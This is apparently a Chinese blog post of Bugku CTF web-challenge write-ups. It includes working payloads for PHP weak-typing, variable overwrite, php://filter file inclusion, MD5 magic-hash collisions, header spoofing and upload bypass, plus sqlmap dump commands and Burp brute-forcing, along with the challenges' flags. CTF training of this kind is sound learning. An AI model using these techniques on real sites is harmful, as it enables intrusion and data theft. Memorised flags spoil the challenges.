今天把之前做的题整理一下,方便有需要的人学习 φ(゜▽゜*)♪
web2
考点:F12的利用
Topic Link:http://123.206.87.240:8002/web2/
打开连接,特别的不一样,直接F12可得flag
get flag:
flag KEY{Web-2-bugKssNNikls9100}
计算器
考点:F12的利用
Topic Link:http://120.24.86.145:8002/yanzhengma/
发现输入框对输入的数据长度有限制,F12进行修改长度输入正确结果即可获得flag一枚
get flag:
flag{CTF-bugku-0032}
web基础$_GET
考点: 代码审计、$_GET利用Topic Link:http://120.24.86.145:8002/get/
传送$_GET型数据即可获得flag一枚
get flag:
flagflag{bugku_get_su8kej2en}
web基础$_POST
考点:代码审计、$_POST利用
Topic Link:http://120.24.86.145:8002/post/
提交$_POST数据即可获得flag一枚
get flag:
flagflag{bugku_get_ssseint67se}
矛盾
考点:php弱类型
Topic Link:http://120.24.86.145:8002/get/index1.php
$num=$_GET['num']; if(!is_numeric($num)) { echo $num; if($num==1) echo 'flag{**********}'; }
看了确实矛盾,不让传递纯数字数据却要和纯数字1相等,该怎么办呢,
这里可以利用PHP的“==”弱类型漏洞进行绕过
构造playload为http://120.24.86.145:8002/get/index1.php?num=1aaa即可获得flag一枚
get flag:
flag{bugku-789-ps-ssdf}
web3
考点:编码&解码
Topic Link:http://120.24.86.145:8002/web3/
提示flag在这里那就在这找吧,F12得到一串特殊的字符串,进行ASCII转化或者直接放入浏览器的地址栏里直接回车即可获得flag一枚
get flag:
KEY{J2sa42ahJK}
域名解析
考点:域名解析
Topic Link:flag.bugku.com
按题目要求域名解析flag.bugku.com,才能得到flag
配置hosts文件,将120.24.86.145 flag.bugku.com添加进去,然后访问flag.bugku.com即可获得flag一枚
Linux系统在/etc/hosts目录下,修改需要root权限
windows系统在c:\windows\system32\drivers\etc\hosts目录下,若不让修改,可以把之前的进行备份然后新建一个hosts文本文档进行追加覆盖
get flag:
KEY{DSAHDSJ82HDS2211}
你必须让他停下
考点:网页抓包分析Topic Link:http://123.206.87.240:8002/web12/
发现页面一直在闪动,F12可看到flag is here~,先用BP抓个包分析可知一直点击go的时候,服务器的响应报文中一个图片><div><img src="10.jpg"/></div>一直在变,发现当如果是10.jpg的时候服务器的响应报文中有flag
get flag:
flag{dummy_game_1s_s0_popular}
文件上传测试
考点:文件上传
Topic Link:http://103.238.227.13:10085/
按要求提交一个PHP文件,服务端却提示非图片文件
尝试改后缀名为图片格式(jpg png gif)却不行
可能就是Content-Type的缘故,BP抓包,将Content-Type改为image/jpeg即可得到flag一枚
get flag:
Flag:42e97d465f962c53df9549377b513c7e
变量1
考点:php变量覆盖漏洞 $$Topic Link:http://120.24.86.145:8004/index1.php
flag In the variable ! <?php error_reporting(0); include "flag1.php"; highlight_file(__file__); if(isset($_GET['args'])){ $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ die("args error!"); } eval("var_dump($$args);"); } ?>
分析代码可以发现是php变量覆盖漏洞,构造payload
http://120.24.86.145:8004/index1.php?args=GLOBALS
打印变量表中的所有变量,即可获得flag一枚
get flag:
flag{92853051ab894a64f7865cf3c2128b34}
web5
考点:JS
Topic Link:http://123.206.87.240:8002/web5/
不知道submit什么,先查看源代码发现有一段JS编码,直接放到控制台就得到了flag
get flag:
ctf{whatfk}
头等舱
考点:网页抓包分析
Topic Link:http://120.24.86.145:9009/hd.php
里面什么都没有,先抓个包看有没有有用信息,结果服务器的响应报文头部包含flag
get flag:
flag{Bugku_k8_23s_istra}
网站被黑
考点: 字典爆破Topic Link:http://123.206.87.240:8002/webshell/
根据提示网站存在漏洞,利用御剑扫描工具进行扫描
进入shell.php网页中,发现需要密码验证,利用burpsuite进行爆破
爆破对象
字典选取
读取结果
输入pass: hack
get flag:
flag{hack_bug_ku035}
各类爆破字典集下载:
GitHub项目地址:https://github.com/PrettyGir1/Blasting-dictionary
管理员系统
考点:IP伪造、base64编码
Topic Link:http://123.206.31.85:1003/
F12查看源码发现一个特殊的字符串 <!-- dGVzdDEyMw== --> 进行base64解密之后得到==》test123
利用用户名admin尝试登陆,发现未果,页面还是提示IP已被记录,抓包进行伪造IP,在HTTP请求中添加请求头X-Forwarded-For: 127.0.0.1
在响应包里面的源码里发现包含flag
get flag:
flag{85ff2ee4171396724bae20c0bd851f6b}
web4
考点:url编码
Topic Link:http://120.24.86.145:8002/web4/
按提示查看源代码
<html> <title>BKCTF-WEB4</title> <body> <div style="display:none;"></div> <form action="index.php" method="post" > 看看源代码?<br> <br> <script> var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62'; var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b'; eval(unescape(p1) + unescape('%35%34%61%61%32' + p2)); </script> <input type="input" name="flag" id="flag" /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
将p1和p2,“%35%34%61%61%32”进行URL解码或者十六进制转换ASCII(不过需要先去除%)
66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 53 75 62 6d 69 74 28 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 61 73 73 77 6f 72 64 22 29 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 29 7b 69 66 28 22 36 37 64 37 30 39 62 32 62 35 34 61 61 32 61 61 36 34 38 63 66 36 65 38 37 61 37 31 31 34 66 31 22 3d 3d 61 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 21 30 3b 61 6c 65 72 74 28 22 45 72 72 6f 72 22 29 3b 61 2e 66 6f 63 75 73 28 29 3b 72 65 74 75 72 6e 21 31 7d 7d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6c 65 76 65 6c 51 75 65 73 74 22 29 2e 6f 6e 73 75 62 6d 69 74 3d 63 68 65 63 6b 53 75 62 6d 69 74 3b
按照eval()函数进行组合,得到一个function函数
function checkSubmit(){ var a=document.getElementById("password"); if("undefined"!=typeof a){ if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value) return!0; alert("Error"); a.focus(); return!1 } } document.getElementById("levelQuest").onsubmit=checkSubmit;
提交字符串"67d709b2b54aa2aa648cf6e87a7114f1"即可获得flag
get flag:
KEY{J22JK-HS11}
flag在index里
考点:php伪协议Topic Link:http://123.206.87.240:8005/post/
知识简介:
php伪协议: file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流
点击按钮:click me? no
进入test5界面
分析
?file=show.php
测试是否存在文件包含漏洞
利用php伪协议进行测试
根据题目提示:flag在index里
尝试payload:?file=php://filter/convert.base64-encode/resource=index.php
获取index.php经过base64加密的源码,对其进行解密:
在源码中 get flag:
flag:flag{edulcni_elif_lacol_si_siht}
输入密码查看flag
考点:字典爆破Topic Link:http://123.206.87.240:8002/baopo/
利用BurpSuite进行爆破密码
获取爆破对象
获取爆破字典
根据Length获取密码: 13579
输入pwd:13579
get flag:
flag{bugku-baopo-hah}
点击一百万次
考点:代码审计Topic Link:http://123.206.87.240:9001/test/
根据页面显示需要点击曲奇1000000次才能够得到flag,是不是感觉很好玩 *-*
查看源码,分析<script>代码
<script> var clicks=0 $(function() { $("#cookie") .mousedown(function() { $(this).width('350px').height('350px'); }) .mouseup(function() { $(this).width('375px').height('375px'); clicks++; $("#clickcount").text(clicks); if(clicks >= 1000000){ var form = $('<form action="" method="post">' + '<input type="text" name="clicks" value="' + clicks + '" hidden/>' + '</form>'); $('body').append(form); form.submit(); } }); }); </script>
通过POST传递数据对clicks赋值大于1000000就可以得到flag,是不是比鼠标点击快好多了,哈哈哈哈哈
get flag:
flag{Not_C00kI3Cl1ck3r}
备份是个好习惯
知识简介
strstr()函数语法:
strstr — 查找字符串的首次出现 string strstr( string $haystack, mixed $needle[, bool $before_needle = FALSE] ) 返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串。
substr()函数语法:
substr — 返回字符串的子串 string substr( string $string, int $start[, int $length] ) 返回字符串 string 由 start 和 length 参数指定的子字符串。 参数 string 输入字符串。必须至少有一个字符。 start 如果 start 是非负数,返回的字符串将从 string 的 start 位置开始,从 0 开始计算。例如,在字符串 "abcdef" 中,在位置 0 的字符是 "a",位置 2 的字符串是 "c" 等等。 如果 start 是负数,返回的字符串将从 string 结尾处向前数第 start 个字符开始。 如果 string 的长度小于 start,将返回 FALSE。 length 如果提供了正数的 length,返回的字符串将从 start 处开始最多包括 length 个字符(取决于 string 的长度)。 如果提供了负数的 length,那么 string 末尾处的 length 个字符将会被省略(若 start 是负数则从字符串尾部算起)。如果 start 不在这段文本中,那么将返回 FALSE。 如果提供了值为 0,FALSE 或 NULL 的 length,那么将返回一个空字符串。 如果没有提供 length,返回的子字符串将从 start 位置开始直到字符串结尾。 返回值 返回提取的子字符串, 或者在失败时返回 FALSE。
str_replace()函数语法:
str_replace — 子字符串替换 mixed str_replace( mixed $search, mixed $replace, mixed $subject[, int &$count] ) 该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果。 如果没有一些特殊的替换需求(比如正则表达式),你应该使用该函数替换 ereg_replace() 和 preg_replace()。 参数 如果 search 和 replace 为数组,那么 str_replace() 将对 subject 做二者的映射替换。如果 replace 的值的个数少于 search 的个数,多余的替换将使用空字符串来进行。如果 search 是一个数组而 replace 是一个字符串,那么 search 中每个元素的替换将始终使用这个字符串。该转换不会改变大小写。 如果 search 和 replace 都是数组,它们的值将会被依次处理。 search 查找的目标值,也就是 needle。一个数组可以指定多个目标。 replace search 的替换值。一个数组可以被用来指定多重替换。 subject 执行替换的数组或者字符串。也就是 haystack。 如果 subject 是一个数组,替换操作将遍历整个 subject,返回值也将是一个数组。 count 如果被指定,它的值将被设置为替换发生的次数。 返回值 该函数返回替换后的数组或者字符串。
parse_str()函数语法:
parse_str — 将字符串解析成多个变量 void parse_str( string $encoded_string[, array &$result] ) 如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。 参数 encoded_string 输入的字符串。 result 如果设置了第二个变量 result,变量将会以数组元素的形式存入到这个数组,作为替代。 返回值 没有返回值。
md5函数语法:
md5 — 计算字符串的 MD5 散列值 string md5( string $str[, bool $raw_output = false] ) 参数 str 原始字符串。 raw_output 如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。 返回值 以 32 字符十六进制数字形式返回散列值。
题目信息
考点:代码审计、MD5Topic Link:http://123.206.87.240:8002/web16/
利用御剑扫描工具对网站进行扫描得到一个.bak文件
读取.bak文件
<?php /** * Created by PhpStorm. * User: Norse * Date: 2017/8/6 * Time: 20:22 */ include_once "flag.php"; ini_set("display_errors", 0); $str = strstr($_SERVER['REQUEST_URI'], '?'); $str = substr($str,1); $str = str_replace('key','',$str); parse_str($str); echo md5($key1); echo md5($key2); if(md5($key1) == md5($key2) && $key1 !== $key2){ echo $flag."取得flag"; } ?>
代码审计发现需要满足几个条件:1. GET方法进行传递数据
2. 传递的数据里面需要有两个变量key1和key2
3. if(md5($key1) == md5($key2) && $key1 !== $key2) ==》 TRUE
漏洞利用:1. 用双写key来绕过str_repalce()函数
2. 利用MD5的特殊字符串绕过if(md5($key1) == md5($key2) && $key1 !== $key2)条件
MD5特殊字符串:
QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514
构造payload:
http://123.206.87.240:8002/web16/index.php?kekeyy1=s878926199a&kekeyy2=QNKCDZO
get flag:
Bugku{OH_YOU_FIND_MY_MOMY}
成绩单
考点:SQL注入Topic Link:http://123.206.87.240:8002/chengjidan/
查看界面,进行测试,发现网页通过POST传递ID值来进行改变网页显示内容
分析可能存在SQL注入漏洞,利用sqlmap进行测试
测试代码
python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1"
测试结果,存在SQL注入漏洞,爆出来了数据库
报表
python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1" -D skctf_flag --tables
爆字段
python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1" -D skctf_flag -T fl4g --columns
爆特定字段值
python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1" -D skctf_flag -T fl4g -C skctf_flag --dump
get flag:
BUGKU{Sql_INJECT0N_4813drd8hz4}
flag.php
考点:代码审计、php反序列地址:http://123.206.87.240:8002/flagphp/
点击login确实没反应,根据提示:hint 可能是一个变量,尝试访问 http://123.206.87.240:8002/flagphp/?hint= 得到网页源码正常信息
<?php error_reporting(0); include_once("flag.php"); $cookie = $_COOKIE['ISecer']; if(isset($_GET['hint'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login</title> <link rel="stylesheet" href="admin.css" type="text/css"> </head> <body> <br> <div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </form> </div> </body> </html> <?php } $KEY='ISecer:www.isecer.com'; ?>
代码审计发现需要满足:1. $cookie = $_COOKIE['ISecer']的值必须是经过序列化之后的值
2. unserialize($cookie) === "$KEY" //此处的$key==null
利用BurpSuite抓包在http请求头部添加cookie字段:ISecer=s:0:"";
get flag:
flag{unserialize_by_virink}
题目更新+ing